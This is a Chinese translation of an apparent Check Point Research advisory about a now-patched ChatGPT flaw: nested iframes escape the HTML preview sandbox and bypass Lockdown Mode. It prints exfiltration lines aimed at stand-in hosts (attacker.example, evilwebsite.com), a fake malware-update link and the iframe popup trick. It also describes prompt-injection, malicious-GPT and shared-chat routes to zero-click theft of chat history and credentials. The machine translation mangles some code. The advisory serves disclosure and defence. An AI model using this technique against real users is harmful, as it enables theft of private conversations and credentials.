主要要点

  • OpenAI 最近推出了“锁定模式”,这是一个可选的高级安全设置,旨在保护敏感用户数据免受基于提示注入的窃取攻击。

  • Check Point Research发现了一个漏洞,使攻击者能够绕过锁定模式,使其核心保护失效。

  • 该漏洞暴露了广泛的攻击面,使得整个聊天历史的无声泄露、通过钓鱼进行凭证盗取以及恶意软件传播成为可能。

  • 在ChatGPT Classic中,攻击无需任何用户互动:仅仅进行对话即可触发无声数据泄露。

简介

今年早些时候,Check Point Research披露了ChatGPT代码执行时的安全漏洞,允许敏感对话数据通过DNS隧道——一种隐藏的出站通道——悄然泄露到攻击者控制的服务器,绕过了运行时的网络隔离。这个问题很快被修复。

此外,OpenAI后来推出了新的安全功能:锁定模式。

锁定模式是登录 ChatGPT 用户的可选高级安全设置。其目的是降低提示注入攻击通过导致ChatGPT或其工具发出外部网页、应用、连接器或文件下载请求,从而泄露敏感数据的风险。一个经典例子,见OpenAI关于URL安全的文章,是攻击者诱使AI加载链接,比如——这些私密数据最终进入了攻击者的服务器日志,尽管聊天中从未出现任何可疑内容。attacker.example/collect?data=<private data>

鉴于无论如何实施防护措施,即时注入仍是持续存在的风险,封锁模式通过切断数据可能离开对话的渠道来缓解这一风险。启用后,它限制了对缓存内容的实时网页访问,阻止从互联网加载和显示图像,禁用 Canvas 生成代码的网络请求,并关闭深度研究、代理模式、实时连接器和文件下载。

图1 – 当Canvas尝试访问外部资源时显示的ChatGPT锁定模式通知。


我们发现ChatGPT存在一个漏洞,允许攻击者绕过锁定模式,秘密将聊天数据窃取到外部服务器。

视频1——整个聊天记录被无通知地转移到第三方服务器,绕过了锁定模式。

涉及该漏洞的潜在攻击场景不仅限于聊天数据泄露。该漏洞使得 ChatGPT Classic 界面控,包括显示任意内容的弹窗,为各种钓鱼攻击打开了大门。

攻击可以通过多种方式实施:通过恶意提示、恶意GPT或共享聊天。

以下章节将介绍漏洞背后的技术细节,并梳理可能的利用场景。

技术细节

2026年2月,OpenAI将HTML页面预览功能加入了ChatGPT代码块。它看起来像这样:

图2 – ChatGPT中的HTML页面预览。

当然,实现过程中也包含多项保护措施,因为在ChatGPT界面内用JavaScript渲染用户控制的HTML,可能会直接为私密数据外泄创造一条路径。

最明显的攻击场景包括:

  • 嵌入包含聊天数据的外部图像:
    如果能渲染此类图像,攻击者可能会触发零点击私密数据的窃取。<img src="<https://evilwebsite.com/?q=personal_data>" />

  • 嵌入外部链接:这将使攻击者能够直接在ChatGPT界面内植入逼真的社会工程诱饵,并通过共享聊天分发。<a href="<https://evilwebsite.com/malware.exe>">Download ChatGPT update</a>

  • 通过带有指令
    的链接或JavaScript打开任意URL的弹窗:
    在ChatGPT经典客户端中,这种情况风险尤大,用户可能将弹窗视为受信任应用上下文的一部分。target="_blank"<a href="<https://evilwebsite.com/>" target="_blank">Click me</a>window.open("<https://evilwebsite.com/>", "_blank", "width=380,height=260");

  • 读取 cookie 或 数据。这会带来会话被妥协的风险。localStoragechatgpt.com

这些情景通过多层隔离和运行时强制措施有效缓解。

渲染后的HTML被放置在一个沙盒中,将用户控制的内容与ChatGPT应用的主要上下文分开,防止渲染页面直接访问父文档、ChatGPT UI状态、Cookie或关联的。localStoragechatgpt.com

页面所有尝试向外部资源发送数据、加载远程图像、脚本、链接或打开任意外部 URL 的行为都会被沙盒拦截并以警告形式显示:


图3 – 当渲染后的HTML页面尝试访问外部资源或用户点击外部链接时,ChatGPT会显示批准对话框。


沙盒实现为两个嵌套的i帧。如果我们看实现,会发现沙箱并不会限制 iframe 中的某些操作。例如,

<code>allow-popups</code>

以及

<code>allow-popups-to-escape-sandbox</code>

权限已启用。

图4 – HTML预览i帧的沙箱属性,显示允许的弹出令牌(高亮)。

弹窗的控制方式不同。沙盒脚本重新定义了函数:window.open

窗户。open: h=>{if(!h)返回空;const{location:f}=r;返回 an(o,f,h),null}

因此,当网页显示在弹窗时,ChatGPT 不会允许,直到用户批准该操作。当页面尝试打开一个空 URL 的弹窗,或者函数直接返回 ,而用户甚至看不到通知时。iframeabout:blanknull

然而,弹出窗口并不受沙盒明确限制,因为它拥有该令牌。iframeallow-popups

因此,如果我们能获得一个真正的函数,就能打开弹窗,绕过HTML沙盒限制,甚至锁定模式。事实上,我们可以在沙箱页面内再创建一个嵌套的 One,并利用它的功能:window.openiframecontentWindow.open

窗户。open(“about:blank”); 被封锁

创建嵌套的iframe

var f = 文档。createElement('iframe');

记录。身体。appendChild(f);

f.contentWindow。open(“about:blank”); 著作

此外,攻击者成功打开弹窗后,可以放置任意HTML代码,但由于令牌存在,这些代码将不再在沙盒中执行。allow-popups-to-escape-sandbox

攻击面:数据泄露、钓鱼和恶意软件在可信接口下卸。

这一漏洞打开了广泛的攻击面。它可能实现整个聊天记录和上传文件的秘密窃取,伪装成合法更新的恶意软件传播,甚至验证资格被盗。下面,我们将带您了解几个场景,并解释每种情况的运作方式。

通过伪造应用窗口传播恶意软件

通常,默认浏览器设置会阻止JavaScript打开弹窗。打开新窗口通常需要用户明确操作,比如点击链接或按钮。

攻击者需要实施一个合理的诱饵,诱使用户点击生成的预览。由于攻击者控制生成页面的内容,制作一个令人信服的诱饵非常简单。打开的窗口会保留ChatGPT应用的图标,而标题则由攻击者控制,给人一种用户仍在与ChatGPT应用互动的错觉。例如,这可以用来诱骗用户下载伪装成应用程序更新的恶意软件。ChatGPT Classic 应用不支持自动下载文件,因此下载文件时,用户还需点击链接。

视频2 – 通过伪造的ChatGPT窗口传播恶意软件。

这种情景在浏览器中实现更为简单,因为自动下载不会被阻止。此外,受害者甚至不需要注册账号,攻击者只需分享包含恶意页面的聊天内容,这使得在共享聊天中点击内容变得危险:

视频3——通过共享聊天传播恶意软件。

ChatGPT 经典版中的零点击利用

我们发现,基于Electron的ChatGPT Classic应用即使没有用户手势也能正常工作。这使得该漏洞极为危险:攻击者可以悄无声息地窃取数据,无需用户任何互动,仅仅进行对话就足以触发攻击。这在视频1中得到了展示,恶意GPT悄无声息地将聊天消息泄露给攻击者控制的服务器。window.open

除此之外,我们还发现可以在ChatGPT主应用窗口重新加载内容,并代表用户执行某些操作,比如强制其账户登出。这可能让攻击者设计一个令人信服的诱饵,诱使用户在攻击者控制的页面上重新认证,从而悄无声息地窃取其凭证。

视频4 – 凭证盗窃。

结论

Check Point Research负责任地向OpenAI披露了这一漏洞。2026年9月18日,OpenAI通知我们,已通过移除外部HTML预览沙盒iframe中的权限和来部署修复。随后我们重新测试了该问题,确认本文所述的利用技术已不再有效。allow-popupsallow-popups-to-escape-sandbox

随着AI助手发展为完整的执行环境,在云端运行代码并在客户端渲染内容,同时处理医疗记录、财务数据及其他高度敏感的信息,每一项新功能都扩大了攻击面,包括专为便利而设计的功能。

防护栏以及AI代理和应用内置的安全功能有助于减轻威胁,但它们仍无法提供绝对的保护保证。在将敏感信息托付给AI或授权其完全访问你电脑之前,这一点值得铭记。保障这些系统的安全性需要超越单个功能,全面考虑整个平台。现代人工智能助手的好处巨大,但安全采用它们需要对每一个层面的细致关注,包括用户从未考虑过的层面。